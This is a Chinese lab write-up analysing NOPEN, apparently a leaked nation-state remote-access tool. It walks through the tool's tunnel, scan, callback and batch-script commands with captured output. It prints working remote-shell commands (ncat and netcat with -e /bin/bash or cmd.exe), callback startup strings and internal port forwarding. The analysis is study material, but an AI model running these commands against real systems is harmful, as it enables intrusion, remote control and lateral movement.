-nrtun 172.19.2.11:2005
[03-18-22 06:26:27 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-nrtun 172.19.2.11:2005]
Listening on centos4x86.local.172.19.2.11:2005 (172.19.2.11:2005)
Connecting to localhost:42609 (127.0.0.1:42609)
Allowing connections from anywhere
Executing: ./noclient-3.3.2.3-linux-i386 -l 42609

NOPEN!                              v3.3.2.3

Usage: scanner typeofscan IP_address
  Scan options:
        winl   Scan for windows boxes
        winn   Scan for windows names
        xwin   Scan for Xwin folks
        time   Scan for NTP  folks
         rpc   Scan for RPC  folks
       snmp1   Scan for SNMP version
       snmp2   Scan for Sol  version
        echo   Scan for echo hosts
       time2   Scan for daytime hosts
        tftp   Scan for tftp hosts
        tday   Scan for daytime hosts
       ident   Scan ident
        mail   Scan mail
         ftp   Scan ftp
     t_basic   Scan TCP port
        http   Scan web
     netbios   Does not work
         dns   Scan for DNS
       ripv1   Scan for RIP v1
```

```
       ripv2   Scan for RIP v2
         lpr   Scan for lpr
    miniserv   Scan for Redflag Web
    win_scan   Get windows version
      telnet   Banner Telnet
      finger   Banner finger
         ssl   Scan for SSL stuff
         ssh   Scan for SSH version
       snmp3   Finnish Test Case SNMP
     dtuname   DT uname test
           #   port other than above
         all   (you are really cool)
        sane   (you are really smart, all - snmp1 and snmp2)
You are the weakest link, goodbye
ourtn version 5.4.0.3
scripme version 2.0.2.4
Fri Mar 18 06:38:16 GMT 2022
NHOME=/home/hacker/test/..
Reading resource file "/home/hacker/test/../etc/norc"...
/home/hacker/test/../etc/norc: No such file or directory
TERM=screen
Entering server mode
noclient: waiting for remote connection...
Listening on *:26962... ok
Accepted connection from 127.0.0.1:60985
Initiating RSA key exchange
```

由于参数不够，扫描器退出。noclient进入反向连接模式，等待noserver进行连接。

nstun

```
-nstun 172.19.2.1
[03-18-22 06:42:58 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754]
[-nstun 172.19.2.1]
Listening on localhost:53676 (127.0.0.1:53676)
Connecting to 172.19.2.1:32754 (172.19.2.1:32754)
Waiting for NOPEN tunnels to be ready...
Executing: ./noclient-3.3.2.3-linux-i386 127.0.0.1:53676
Fri Mar 18 06:43:00 GMT 2022
NHOME=/home/hacker/test/..
Reading resource file "/home/hacker/test/../etc/norc"...
/home/hacker/test/../etc/norc: No such file or directory
TERM=screen
Entering client mode
noclient: received local connection, contacting server
Attempting connection from 0.0.0.0:14796 to 127.0.0.1:53676... ok
Initiating RSA key exchange
```

利用noserver进行堆叠，构建隧道。

rawsend

```
-rawsend 6969
[03-18-22 06:49:29 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754]
[-rawsend 6969]
noclient: waiting for connection on port 6969
noclient: waiting to receive 1684632074 byte packet
```

在noclient开个端口，监听输入，并将输入转发到noserver上。

rtun

反向隧道与前面的正向隧道一样，只是连接方向反过来。

在noserver上启动nc。

```
 ./ncat/ncat -lvnp 6969 -e /bin/bash
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 172.19.2.13.
Ncat: Connection from 172.19.2.13:58451.
```

然后在noclient上执行。

```
-rtun 6968 172.19.2.11 6969
[03-18-22 07:08:39 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754]
[-rtun 6968 172.19.2.11 6969]
Listening on centos4x86.local.172.19.2.11:6968 (:6968)
Connecting to 172.19.2.11:6969 (172.19.2.11:6969)
Allowing connections from anywhere
noclient: waiting for remote connection...
noclient: received connection from 172.19.2.13  [03-18-22 07:09:27 GMT]
```

然后在noclient启动nc。

```
./ncat 172.19.2.11 6968
id&&pwd&&ip a show eth0
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:unconfined_t
/root/nmap-7.92
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe34:5670/64 scope link
       valid_lft forever preferred_lft forever
```

通过设置不同形式的nc工作方式，可以得到更多的组合。

rutun

采用UDP建立反向隧道。

在noserver上运行nc.

```
./ncat/ncat -lvnu 6969 -e /bin/bash
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 172.19.2.13.
```

在noclient建立反向udp隧道。

```
-rutun 6968 172.19.2.11 6969
[03-18-22 07:18:30 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754]
[-rutun 6968 172.19.2.11 6969]
Listening on :6968 (:6968)
Sending UDP datagrams to 172.19.2.11:6969 (172.19.2.11:6969)
noclient: waiting for remote receiver...
noclient: remote receiver ready
UDP packet of size 4 received from 172.19.2.13:0 to 127.0.0.1:6969  [03-18-22
07:20:04 GMT]
UDP packet of size 16 received locally  [03-18-22 07:20:04 GMT]
UDP packet of size 24 received from 172.19.2.13:0 to 127.0.0.1:6969  [03-18-22
07:20:17 GMT]
UDP packet of size 420 received locally  [03-18-22 07:20:17 GMT]
```

启动nc。

```
./ncat -u 172.19.2.11 6968
id&&pwd&&ip a show eth0
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:unconfined_t
/root/nmap-7.92
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe34:5670/64 scope link
       valid_lft forever preferred_lft forever
```

> 这里只是显示一下命令的用法，实践中应该是多台内网设备之间的操作。

stun

监听模式的隧道。

在目标机上启动反弹shell。

```
lcx -S netcat -lvnp 6969 -e cmd.exe
Given Option: S
netcatlistening on [any] 6969 ...
connect to [172.19.2.1] from (UNKNOWN) [172.19.2.11] 32768
```

在noclient上建立隧道。

```
-stun
[03-18-22 23:24:34 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754]
[-stun]
Usage: -stun toip toport [localport [srcport [srcip]]]
NO! centos4x86.local:/root/bvp47>-stun 172.19.2.1 6969
[03-19-22 00:05:40 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754]
[-stun 172.19.2.1 6969]
Listening on localhost:6969 (127.0.0.1:6969)
Connecting to 172.19.2.1:6969 (172.19.2.1:6969)
Anoclient: received local connection, contacting server
noclient: peer address is 172.19.2.1  [03-19-22 00:06:02 GMT]
```

在noclient上启动nc。

```
./ncat localhost 6969
Microsoft Windows [版本 10.0.19043.1526]
(c) Microsoft Corporation保留所有权利。

COMMANDO 2022/03/19 星期六  8:06:04.16
D:\ht\lcx\win>
```

这样就把一台windows机器的shell反弹到noclient的本地端口上了。

这个命令的使用方法 `Usage: -stun toip toport [localport [srcport [srcip]]]`

也就是支持srcport， srcip，如果使用ew，socat，chisel等隧道工具，可以建立一个本地监听的端口，可以将远端的数据库等服务的端口映射到本地，然后进行操作。

sutun

这个命令与stun一样，只是协议修改为udp。

在目标机上启动nc。

```
./ncat -lvnu 6969 -e /bin/bash
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 172.19.2.11.
```

在noclient上建立隧道。

```
-sutun 172.19.2.11 6969 6968
[03-19-22 00:17:08 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754]
[-sutun 172.19.2.11 6969 6968]
Listening on localhost:6968 (127.0.0.1:6968)
Sending UDP datagrams to 172.19.2.11:6969 (172.19.2.11:6969)
noclient: waiting for remote transmitter...
noclient: remote transmitter ready
UDP packet of size 3 received locally  [03-19-22 00:17:19 GMT]
UDP packet of size 697 received from 172.19.2.11:0 to 172.19.2.11:44902  [03-19-
22 00:17:19 GMT]
UDP packet of size 82 received locally  [03-19-22 00:18:34 GMT]
UDP packet of size 24 received locally  [03-19-22 00:18:47 GMT]
UDP packet of size 425 received from 172.19.2.11:0 to 172.19.2.11:44902  [03-19-
22 00:18:47 GMT]
```

在noclient上运行nc。

```
./ncat -u localhost 6968
id&&pwd&&ip a show eth0
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:unconfined_t
/root/nmap-7.92/ncat
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff
    inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe34:5670/64 scope link
       valid_lft forever preferred_lft forever
```

scan

隧道经常和扫描工具一起使用，这个工具也一样。

```
-scan 22 172.19.2.13
[03-17-22 07:27:02 GMT][localhost:19360 -> centos4x86.local.172.19.2.11:32754]
[-scan 22 172.19.2.13]
Waiting for NOPEN tunnels to be ready...
Listening on localhost:61615 (127.0.0.1:61615)
Connecting to 172.19.2.13:22 (172.19.2.13:22)
sh: line 1: /current/down/cmdout/scans: No such file or directory
Scanning port 22
scanning i is  127.0.0.1
Scan TCP port
connect to 127.0.0.1
---------------
SSH-2.0-OpenSSH_4.3
```

扫描端口，这个需要配套的scanner程序。

在命令行执行一下scanner，学习一下这个扫描器如何运行。

```
scanner
Usage: scanner typeofscan IP_address
  Scan options:
        winl   Scan for windows boxes
        winn   Scan for windows names
        xwin   Scan for Xwin folks
        time   Scan for NTP  folks
         rpc   Scan for RPC  folks
       snmp1   Scan for SNMP version
       snmp2   Scan for Sol  version
        echo   Scan for echo hosts
       time2   Scan for daytime hosts
        tftp   Scan for tftp hosts
        tday   Scan for daytime hosts
       ident   Scan ident
        mail   Scan mail
         ftp   Scan ftp
    t_basic   Scan TCP port
        http   Scan web
    netbios   Does not work
```

```
          dns   Scan for DNS
        ripv1   Scan for RIP v1
        ripv2   Scan for RIP v2
          lpr   Scan for lpr
     miniserv   Scan for Redflag Web
     win_scan   Get windows version
       telnet   Banner Telnet
       finger   Banner finger
          ssl   Scan for SSL stuff
          ssh   Scan for SSH version
        snmp3   Finnish Test Case SNMP
      dtuname   DT uname test
            #   port other than above
          all   (you are really cool)
         sane   (you are really smart, all - snmp1 and snmp2)
You are the weakest link, goodbye
```

这个扫描器有常见的扫描功能。

简单操作一下。

```
scanner ssh 172.19.2.13
scanning i is  172.19.2.13
Scan for SSH version
connect to 172.19.2.13
---------------
SSH-2.0-OpenSSH_4.3
--
---------------
adios
```

这里的结果与noclient的结果一致。

vscan

```
-vscan 22 172.19.2.11
[03-17-22 07:29:58 GMT][localhost:19360 -> centos4x86.local.172.19.2.11:32754]
[-vscan 22 172.19.2.11]
Setting up tunnel on port 17779
Running: jscan -ri 127.0.0.1 -rc 17779 -rs 172.19.2.11 &
sh: jscan: command not found
Starting NOPEN -tunnel...
Setting up a UDP tunnel mechanism on port 17779
```

vscan是先建立通道，然后进行扫描。jscan也是一个扫描程序。木有找到对应的程序。

远程网络命令

主要是网络状态操作的命令。

icmptime

```
-icmptime 172.19.2.1
[03-19-22 02:03:48 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754]
[-icmptime 172.19.2.1]
 Timestamp reply        172.19.2.1 >       172.19.2.11 (TTL 128)
Send    Timestamp: 02:03:48 UTC
Receive Timestamp: 812:39:15 UTC     for (172.19.2.1)

Assuming AHEAD  one day:   Sun Mar 20 12:39:15 UTC 2022   UTC_OFFSET=2075
Assuming TODAY's   date:   Sat Mar 19 12:39:15 UTC 2022   UTC_OFFSET=635
Assuming BEHIND one day:   Fri Mar 18 12:39:15 UTC 2022   UTC_OFFSET=-804
```

利用mkoffset脚本计算icmp的时间查。

ifconfig

```
-ifconfig
[03-19-22 02:06:26 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754]
[-ifconfig]

lo:  flags=<UP LOOPBACK RUNNING> mtu 16436
inet 127.0.0.1 broadcast 127.255.255.255 netmask 255.0.0.0
inet6 ::1/128
ether 00:00:00:00:00:00

eth0:  flags=<UP BROADCAST RUNNING MULTICAST> mtu 1500
inet 172.19.2.11 broadcast 172.19.2.255 netmask 255.255.255.0
inet6 fe80:0:a00:27ff::fe34:5670/64
ether 08:00:27:34:56:70
```

显示网卡信息。

nslookup

```
>-nslookup nsa.org
[03-19-22 02:07:46 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-nslookup nsa.org]

Primary Server: 0.0.0.0#53

resolver error for host nsa.org: Temporary failure in name resolution
```

这里需要注意的是name server的设置。

ping trace

```
-ping 172.19.2.1
[03-19-22 02:10:23 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-ping 172.19.2.1]
 ICMP Reply (172.19.2.1)   0.168 ms        172.19.2.1 >       172.19.2.11 (TTL
128)

-trace 172.19.2.1
[03-19-22 02:10:04 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-trace 172.19.2.1]

traceroute to 172.19.2.1 (using 172.19.2.11), 30 hops max, 38 byte packets
 1  (172.19.2.1)   0.197 ms  0.178 ms  0.143 ms
```

远程服务端命令

控制服务端的退出，信息，监听和调用。

pid

```
-pid
[03-17-22 03:48:32 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754]
[-pid]
  PID (PPID)         8072 (7980)
```

listen

```
-listen 2007
[03-17-22 06:12:38 GMT][localhost:23223 -> centos4x86.local.172.19.2.11:32754]
[-listen 2007]
Starting listener on port 2007
noclient: waiting for response from server...

noclient: server successfully forked new process at PID 1509949440
```

启动一个新实例，并监听在指定端口上。客户端就可以连接到指定端口了。

```
./noclient-3.3.2.3-linux-i386 -l 9999
```

客户端也可以运行在监听端口上，然后由服务端反向连接过来。

call

```
-call 172.19.2.13 9999
[03-17-22 06:28:22 GMT][localhost:23223 -> centos4x86.local.172.19.2.11:32754]
[-call 172.19.2.13 9999]
Initiating callback to 172.19.2.13:9999
noclient: waiting for response from server...
noclient: server successfully forked new process at PID 922746880
```

burn

```
-burn
[03-17-22 06:32:04 GMT][localhost:9999 -> centos4x86.local.172.19.2.11:32790]
[-burn]

To adjourn, type "BURN", otherwise return> BURN
```

执行退出后，如果只有一个服务端程序在运行，则删除服务端程序，进程退出。

远程服务端常用命令

主要是查看环境变量，进程列表，提权等。

elevate

```
-elevate
[03-19-22 02:14:43 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-elevate]
```

应该是缺少关键程序。

ps

```
-ps -H
[03-19-22 02:16:01 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-ps -H]
UID        PID  PPID  PGID ST  STIME         COMM             CMD
root         1     0     0 S   19Mar22 03:06 init             init [3]

root         2     1     0 S   19Mar22 03:06 ksoftirqd/0        -
root         3     1     0 S   19Mar22 03:06 events/0           -
root         4     1     0 S   19Mar22 03:06 khelper            -
root         5     1     0 S   19Mar22 03:06 kthread            -
root         6     5     0 S   19Mar22 03:06 kacpid               -
root        18     5     0 S   19Mar22 03:06 kblockd/0            -
root        36     5     0 S   19Mar22 03:06 pdflush              -
root        37     5     0 S   19Mar22 03:06 pdflush              -
root        39     5     0 S   19Mar22 03:06 aio/0                -
root       414     5     0 S   19Mar22 03:06 ata/0                -
```

显示进程信息。

shell

```
-shell /bin/bash
[03-19-22 02:17:32 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-shell /bin/bash]
Starting NOPEN sub-shell (/bin/bash)
id&&pwd
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:unconfined_t
/root/bvp47
```

在noclient生成一个shell，后续的操作都在这个shell里面的进行。

time

```
-time
[03-19-22 02:19:24 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-time]
Local time according to time():         Fri Mar 18 22:19:24 2022
Local time in GMT:                      Sat Mar 19 03:19:24 2022
Remote time according to time():        Sat Mar 19 02:19:26 2022
Remote time in GMT:                     Sat Mar 19 07:19:26 2022
UTC_OFFSET=240
UTC_OFFSET_SECS=14402s
UTC Offset (theirs - ours) is (+) 4h 0m 2s
```

nopen对时间非常敏感，里面有大量关于时间的函数，可能与环境检测有关，也与程序到期自动退出有关。

status

```
-status
[03-19-22 02:21:08 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-status]

Connection
  Bytes In / Out     8328/12039 (69%C) / 2771/1562 (177%C)
  Local Host:Port    localhost:47388 (127.0.0.1:47388)
  CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754)
  Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754)
Local
  NOPEN client       3.3.2.3
  Date/Time          Sat Mar 19 02:21:08 UTC 2022
  History
/home/hacker/test/../down/history/centos4x86.local.172.19.2.11
  Command Out
/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-19-
02:07:37
  CWD                /home/hacker/test
  NHOME              /home/hacker/test/..
  PID (PPID)         1019 (2817)
Remote
  NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3)
  WDIR               /root/bvp47
  OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686
  CWD                /root/bvp47
  PID (PPID)         7847 (7030)
```

显示连接状态。

getenv setenv

```
-setenv TARGET=nsa.org
[03-19-22 02:22:43 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-setenv TARGET=nsa.org]
TARGET=nsa.org
-getenv
[03-19-22 02:23:16 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[-getenv]
TARGET=nsa.org
ping $TARGET
[03-19-22 02:24:52 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754]
[ping $TARGET]
ping: unknown host nsa.org
```

和本地变量的使用差不多。

gs

批量执行脚本命令。

在NHOME/etc目录下编写脚本，然后通过gs来执行。

```
 cat ~/NHOME/etc/gs.auto
#NOGS
-lcd /current/down -nohist
-lsh -nohist env | grep NOPEN ; echo;set | grep NOPEN
```

这个脚本只是显示用法，在Linux\etc\目录下有大量的脚本，值得学习。

这个脚本的执行效果如下。

```
-gs auto
[04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999]
[-gs auto]
[04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999]
[-lcd /current/down]
/current/down
[04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999]
[-lsh env | grep NOPEN ; echo;set | grep NOPEN]
NOPEN_CLIENTVER=3.1.0.1
NOPEN_SERVERINFO=Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct 26
11:56:29 UTC 2020 i686
NOPEN_RHOSTNAME=centos7x86.local.172.19.2.15
NOPEN_AUTOPORT=1025
NOPEN_MYPID=28709
NOPEN_MYLOG=/home/hacker/NHOME/down/cmdout/centos7x86.local.172.19.2.15-2022-04-
01-06:42:50

BASH_EXECUTION_STRING='env | grep NOPEN ; echo;set | grep NOPEN'
NOPEN_AUTOPORT=1025
NOPEN_CLIENTVER=3.1.0.1
NOPEN_MYLOG=/home/hacker/NHOME/down/cmdout/centos7x86.local.172.19.2.15-2022-04-
01-06:42:50
NOPEN_MYPID=28709
NOPEN_RHOSTNAME=centos7x86.local.172.19.2.15
NOPEN_SERVERINFO='Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct 26
11:56:29 UTC 2020 i686'
```

可以看到NOPEN设置了大量环境变量，方便操作。

操作分析

为了进一步分析这个远控的功能，在泄露的文件中找到一组配对的文件，这样减少不必要的麻烦。文件来自archive_files\morerats (2)\。

```
sha1sum no*
df946eb8a908f663cd6cf68db7e5d377f1076ce8  noclient-3.1.0.2-
i686.pc.linux.gnu.redhat-ES
c3d2d2705db03434525727901cd177e64894bf50  noserver-3.1.0.1-
i686.pc.linux.gnu.redhat-ES

file no*
noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES: ELF 32-bit LSB executable, Intel
80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux
2.2.5, stripped
noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES: ELF 32-bit LSB executable, Intel
80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux
2.2.5, stripped
```

主要的目标是弄懂rat的操作手法，代码的实现逻辑。在操作方面，主要的问题是，服务端反向连接到客户端，命令脚本的批量执行和隧道的综合利用。

服务端反向连接到客户端

noserver的启动参数，实现反向连接到noclient.

先启动客户端。

```
./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -l 9999

NOPEN!                              v3.1.0.1

sh: scanner: command not found
sh: ourtn: command not found
sh: scripme: command not found
Fri Apr 01 02:55:07 GMT 2022
NHOME: environment variable not set, assuming "NHOME=/home/hacker/test/.."
NHOME=/home/hacker/test/..
Reading resource file "/home/hacker/test/../etc/norc"... ok
TERM=screen
Entering server mode
Listening on *:9999... ok
```

然后启动服务端。

```
D="-s -C172.19.2.15 9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES
```

这时就会反向连接到客户端。

```
Accepted connection from 172.19.2.15:59938
Initiating RSA key exchange
```

```
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x379916E6C6A90737E869E1FC05B52CF4
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.1.0.1

Connection
  Bytes In / Out     226/119 (189%C) / 63/4 (1575%C)
  Local Host:Port    localhost:9999 (127.0.0.1:9999)
  Remote Host:Port   172.19.2.15:0 (172.19.2.15:0)
  Remote Host:Port   centos7x86.local:59938 (172.19.2.15:59938)
Local
  NOPEN client       3.1.0.1
  Date/Time          Fri Apr  1 02:56:16 UTC 2022
  History
  Command Out
  CWD                /home/hacker/test
  NHOME              /home/hacker/test/..
  PID (PPID)         977 (29861)
Remote
  NOPEN server       3.1.0.1
  WDIR               NOT SET
  OS                 Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct
26 11:56:29 UTC 2020 i686
  CWD                /home/hacker/test
  PID (PPID)         1455 (11748)

Reading resource file "/home/hacker/test/../etc/norc.linux"...
/home/hacker/test/../etc/norc.linux: No such file or directory
History loaded from
"/home/hacker/test/../down/history/centos7x86.local.172.19.2.15"... ok
Creating command output file
"/home/hacker/test/../down/cmdout/centos7x86.local.172.19.2.15-2022-04-01-
02:56:16"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1026
```

这样反向连接建立，后续的操作与正向连接一样。

指定服务端口的正向连接

启动服务端

```
D="-s -l9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES
```

启动客户端

```
./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES 172.19.2.15 9999
```

即可进入操作。

命令脚本的批量执行

作为一个远控程序，批量执行命令，批量管理服务端，是一个基本需求。

启动两个服务端。

```
D="-s " ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES
D="-s -l9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES
```

然后在客户端执行操作。

```
./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -c "-gs
/home/hacker/NHOME/etc/gs.auto" 172.19.2.15:9999
./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -c "-gs
/home/hacker/NHOME/etc/gs.auto" 172.19.2.14:32754
```

脚本的内容如下。

```
cat  /home/hacker/NHOME/etc/gs.auto
#NOGS
-lcd /current/down -nohist
-lsh -nohist env | grep NOPEN ; echo;set | grep NOPEN
-exit -nohist
```

这样就实现了批量巡检的功能，当然此处应该有个脚本来自动管理这些服务端。

autopot

这个功能未知，但是有一个字符串 "Read failed ditching gui"，有可能存在一个图像控制端。

需要进一步分析。

incision

程序有字符串 "Entering INCISION mode"

但是木有弄清楚其使用方式，以及与dewdrop,tipoff的关联。

从代码看，就是劫持socket，然后进行操作，但是木有弄清楚具体的使用方式。

隧道的综合利用

隧道在内网渗透的重要性不言而喻，尽管前面在介绍隧道命令的时候，已经讲了如何使用隧道。

这里主要是根据常见使用场景，进行隧道搭建。

为了方便展示效果，这里仍然使用ncat进行演示。

因为noclient, noserver本书就可以生成shell。所以这里只介绍将内网端口映射到外网。

假定目标是把MySQL的端口映射出来，然后用客户端进行操作。

```
 mysql -u root -h 172.19.2.14
ERROR 1130 (HY000): Host '172.19.2.15' is not allowed to connect to this MySQL
server
```

将端口转发出来。

```
-stun
[04-01-22 08:40:51 GMT][localhost:33681 -> centos6x86.local.172.19.2.14:32754]
[-stun]
Usage: -stun toip toport [localport [srcport]]
NO! centos6x86.local:/home/hacker/test>-stun localhost 3306
[04-01-22 08:41:32 GMT][localhost:33681 -> centos6x86.local.172.19.2.14:32754]
[-stun localhost 3306]
Listening on localhost:3306 (127.0.0.1:3306)
Connecting to localhost:3306 (127.0.0.1:3306)
Received local connection, contacting server
local client closed
remote client closed
Should be synced up
OK
```

这时已经将本地的端口与远端的端口映射起来。

```
mysql -u root -h 172.19.2.15
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| test               |
+--------------------+
3 rows in set (0.00 sec)

MySQL [(none)]> use test;
Database changed
MySQL [test]> show tables;
Empty set (0.00 sec)
MySQL [test]> CREATE TABLE tb_employee (id INT(11), name VARCHAR(25), deptId
INT(11), salary FLOAT );
Query OK, 0 rows affected (0.04 sec)

MySQL [test]> show tables;
+----------------+
| Tables_in_test |
+----------------+
| tb_employee    |
+----------------+
```

```
1 row in set (0.00 sec)
```

这时就可以访问远端的数据库了。

elevate

提权是内网渗透的第一要素，但是作为隧道工具，入口点一般都不是root权限，所以整合提权模块，就是非常必要。

并且里面的工具，许多是需要root权限，才能操作的。

但是这个命令，只是查看一下是否具有root权限，木有对应的提权操作。

这个C2如何进行提权，需要进一步研究。

对比分析

代码编写的比较利落，主要的亮点有木有使用公开的加密库，加密代码都是自己编写。

noserver的执行逻辑与Cobalt Strike的beacon基本一样，都是通过RSA生成会话密钥，然后加密会话通信。

从整体上看，与CS的技术水平基本一样，但是领先了好多年。形成了一系列的工具集，并且在实践中，拿下了一大批系统。

其实写一个noserver的替代程序，倒是不错的学习NSA技术的机会。

会话密钥生成

客户端主动连接服务端，其会话密钥的生成过程如下。

```
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x98FC9781D28C0B6F330B7BF32285CE66
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
```

在反向连接的会话过程中，密钥生成过程如下。

```
Entering server mode
Listening on *:9999... ok
Accepted connection from 172.19.2.15:59914
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x485C6C7B65F7FE9B183EF2D427776B8F
  Sending first verify string... ok
```

```
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.1.0.1
```

对比一下，密钥生成的过程完全一样。

因为nopen的程序，都已删除程序符号信息，所以需要逆向才能确定具体的实现。

但是我找到了一个ish.v3程序，带符号信息，可以对比分析。

scaner

作为最常用的隧道配合工具之一，scaner的重要性不言而喻，nopen也带了一个自研的扫描器。在Linux\bin\目录下，有scanner几个版本。

```
sha1sum scanner
4a9067f05e67335bc5d27a539b15f7dda0191941  scanner
[hacker@centos7x86 test]$ file scanner
scanner: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked (uses shared libs), for GNU/Linux 2.2.5, stripped
```

查看一下帮助。

```
./scanner -h
./scanner Version 3.6
Usage: ./scanner typeofscan IP_address
  Scan options:
        winl   Scan for windows boxes
        winn   Scan for windows names
        xwin   Scan for Xwin folks
        time   Scan for NTP  folks
         rpc   Scan for RPC  folks
       snmp1   Scan for SNMP version
       snmp2   Scan for Sol  version
        echo   Scan for echo hosts
       time2   Scan for daytime hosts
        tftp   Scan for tftp hosts
        tday   Scan for daytime hosts
       ident   Scan ident
        mail   Scan mail
         ftp   Scan ftp
     t_basic   Scan TCP port
        http   Scan web
     netbios   Does not work
         dns   Scan for DNS
       ripv1   Scan for RIP v1
       ripv2   Scan for RIP v2
         lpr   Scan for lpr
    miniserv   Scan for Redflag Web
    win_scan   Get windows version
      telnet   Banner Telnet
      finger   Banner finger
         ssl   Scan for SSL stuff
         ssh   Scan for SSH version
       snmp3   Finnish Test Case SNMP
     dtuname   DT uname test
```

```
      answer   Answerbook test
        brpc   Larger RPC dump
         x11   X11 test
       xfont   X font server test
     printer   Printer Test
    speedlan   Speed Lan Test
        imap   Imap test
     t_mysql   Mysql TCP
     mibiisa   Mibissa test
           #   port other than above
         all   (you are really cool)
        sane   (you are really smart, all - snmp1 and snmp2)
You are the weakest link, goodbye
```

提供了场景应用的扫描功能。

简单操作一下。

```
 ./scanner sane 172.19.2.14
# scanning ip  172.19.2.14
# Scan for windows boxes
# Scan for windows names
# Scan for Xwin folks
# Scan for NTP  folks
# Scan for RPC  folks
--
Packet from 172.19.2.14  to   172.19.2.15
   program vers proto   port  service
    100000    4   tcp    111
    100000    3   tcp    111
    100000    2   tcp    111
    100000    4   udp    111
    100000    3   udp    111
    100000    2   udp    111
    100024    1   udp  54850
